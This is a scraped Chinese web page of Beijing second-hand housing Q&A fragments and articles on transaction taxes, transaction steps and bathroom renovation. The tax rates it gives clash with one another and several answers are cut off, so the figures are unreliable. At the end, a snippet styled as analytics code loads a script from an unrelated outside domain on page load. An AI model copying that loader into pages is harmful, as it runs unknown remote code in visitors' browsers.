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邱可儿
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霍格菲 有用 0
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问望网友帮忙解答祥和小区二手房信息?!
答祥和小区二手房均价:6459元/
问网友帮忙解答北京大屯里小区二手房的房价贵吗?
答北京大产权二手房房价:东明广场公寓,50800元/平方。高安公寓,28900元/平方。新时代花园,35890元/平方。新文苑,36800元/平方。虹叶花苑,
问北京二手房房屋消毒怎么做?
答您好,几种常用的消毒方法: 1.1~3%漂白粉澄清液、2%过氧乙酸水溶液、3%来苏水溶液、0.2%优氯净水深液喷雾消毒,关闭门窗1小时。上述药物使用一种即
问请问这里有人了解购买二手房注意事项有哪些?望网友帮忙解答!
答大家都知道现在房价的上涨,让很多买房时会考虑买二手房,买房不像买衣服买手机那样,穿够了、用够了就可以换一换,因此,在买房的问题上每个家庭都是慎之又慎。特别是
问北京二手房交易流程网签应该怎么做?
答北京二手房网签一般步骤是:1、二手房买卖双方要协商合同的相关条款内容;2、操作人员登录存量房(二手房)网上签约系统从已公示房屋信息中选取所交易房屋,在线填写
二手房个税怎么算 北京二手房个税
二手房个税是由卖方交纳的,实践中,也有些当事人约定由买房交纳,一般来说这些约定都是有效的。那么,二手房个税怎么算呢?下面来看看吧。一、二手房个税怎么算根据相关规定,目前我国二手房的交易税费种类,主要分为营业税、个人所得税、土地增值税、印花税、契税等。其中常见且额度较大的为营业税、个人所得税、契税等三大类。各类税费根据不同的情况,缴纳的标准也不一样。具体情况主要划分为三大类,包括普通住宅与非普通住宅、产权满五年与未满五年、首次置业与二次以上(包括二次)置业。根据当前实施的税费征收规定,产权未满五年的房产,需缴纳5.6%的营业税,1.5%的个人所得税,在此前提下若为普通住宅,且首次置业,那么契税缴交标准为:90平方米以下1%,90至144平方米1.5%,144平方米以上3%;二次以上(包括二次)购房则无论面积大小均为3%。产权满五年的情况下,个人所得税、契税的缴纳标准和上述一致。营业税方面,普通住宅可以免交,高档住宅则要按差额缴纳,差额即为本次交易价减去原来购买价的数额。根据国家相关规定,买方得缴纳契税,卖方则要承担营业税和个人所得税。二、北京二手房个税如二手房交易中房屋性质属于普通住房的,购房者属于首次购房,其契税税率为2%,非首套房则是4%;如房屋面积在90平方米以下,契税减按1%;如果卖房者住房满5年,只需交1%的个人所得税,如果不满5年,除了交1%的个人所得税,还需要交5.6%的营业税及附加。也就是说,二手房面积在90至140(不含)平方米,如果是首套房超过5年的,房屋买卖双方只需交3%的税;如果非首套房且住房不满5年,双方就需要交10.6%的税。如交易房屋是非普通住宅,买方则按4%的率税缴纳契税;卖方房屋如果未超过5年则全额缴纳5.6%的营业税及附加和1%的个人所得税;超过5年的,差额缴纳营业税,也就是按本次成交价款缴纳1%个人所得税后,再用本次成交价格减去上一次完税价格的差额乘以5.6%合并缴纳营业税及附加。如果二手房交易中房屋性质是非住宅,比如车库、铺面、仓库等,买房者需要交4%的契税,卖房者则需要缴纳1%的个人所得税、3.5%的土地增值税和差额征收5.6%营业税及附加。以上就是小编为您介绍的二手房个税怎么算,希望能够帮助到您。更多关于二手房个税的相关资讯,请继续关注土巴兔装修网。
北京二手房交易流程是怎么样
北京的房价可以说在全国范围里都数一数二,现在北京有些小区已经达到了数十万一平米,一百平米的房子上千万很普遍。北京房价高,说明房子的商品价值大,导致二手房交易市场也非常的热络,买房、卖房每天都在发生。二手房交易跟一手房交易是会有明显的不同,二手房交易会更加的复杂多变,陷阱也更多。那么,北京二手房交易流程是怎么样?北京二手房交易流程第一步:签订合同买卖双方签订房屋买卖合同(或称房屋买卖契约)。买卖双方通过协商,对房屋坐落位置、产权状况及成交价格、房屋交付时间、房屋交付、产权办理等达成一致意见后,双方签订至少一式三份的房屋买卖合同。第二步:资质审核买卖双方共同向房地产交易管理部门提出申请,接受审查。买卖双方向房地产管理部门提出申请手续后,管理部门要查验有关证件,审查产权,对符合上市条件的房屋准予办理过户手续,对无产权或部分产权又未得到其他产权共有人书面同意的情况拒绝申请,禁止上市交易。尤其是北京地区是限购城市,要进行购房资格核检。房屋评估也在这个阶段中,大概一周出报告。第三步:网签本市户籍签约需要准备身份证、户口本、婚姻证明、产权证。非本市户籍需要准备身份证、户口本、婚姻证明、产权证、暂住证。港澳台及外籍需要准备港澳居民身份证、台湾同胞来往大陆通行证、护照、护照的译本公证。网签生成后约面签。第四步:资金监管及贷款申请缴税前一个工作日要做资金监管,资金监管的金额是网签价减去贷款金额。第五步:物业交验卖方交付房屋并结清所有物业费。第六步:缴税过户交税无论是本市户籍还是非本市户籍都要携带房产证、买卖双方身份证、户口本、婚姻证明、产权证、原值发票、原契税票。北京地区进行二手房交易的三大税金是营业税、个税和契税,其它税种的金额远不及这三大费用。第七步:领房产证第八步:有贷款的作贷款抵押登记第九步:放款政府资金监管过户完24小时自动放款,银行贷款他项权利证送到,银行3-4个工作日放款。北京二手房交易流程是怎么样?北京二手房交易涉及到的步骤就是这几步,看起来很多步骤,但一步一步完成的话你会发现其实不难。二手房交易中要缴纳的税费会比较多,卖方和买方所缴纳的税费也不一样,因此在二手房交易的时候应该要认识清楚自己需要缴纳的税费,做到正确、及时的交税,避免偷税、漏税等问题的发生,影响到自己的人生。
二手房卫生间重新装修要怎么做 三个小改变旧貌换新颜
随着二手房交易越来越火爆,二手房的翻新再装修工程也日趋增加,如何让二手房卫生间重新装修更加符合消费者的实际需要,设计更加合理呢?做到这三点,让您的二手房卫生间改造的既实用又舒适。首先是二手房卫生间的基础改造、其次是二手房卫生间重新布局、最后是二手房卫生间卫浴配备。一、二手房卫生间的基础改造大多数二手房为年代久远的老房,房屋基础设施年久失修,很多管线设备老化残破,特别是卫生间这个长期潮湿通风差的区域,更容易发生设备老化问题。所以,二手房卫生间重新装修的第一步就是拆除卫生间内地板及墙面内部的水电管线,重新铺设。二、二手房卫生间重新布局做完卫生间的基础改造后,重新布局卫生间的功能区域非常有必要。老房子的卫生间面积普遍不大,在面积有限的卫生间内,需要选择重点布局卫生间基础功能。干湿分离是二手房卫生间重新装修布局时的首选。干湿分离最简单的方式是添加淋浴房,淋浴房一般设置在卫生间的角落,通常有扇形、钻石型、一字型等形式,具体如何选择需要考虑卫生间的实际结构及面积合理布置。如果您家的卫生间面积实在有限,采用浴帘作为干湿分离的隔断也是不错的选择。三、二手房卫生间卫浴配备二手房卫生间重新装修的最后一步就是卫浴设备的更换,卫浴设备不仅是功能设备,也关系着您一家人的健康,更换全套卫浴设备不仅带给您新的卫浴享受更有效避免陈旧设备的细菌对家人的影响。卫生间装修本身就是家装过程中重要的一部分,二手房卫生间重新装修更是让人想起来就头疼的事,希望这篇文章可以让您进行二手房卫生间改造时不再苦恼。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://www.jamuntea.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();
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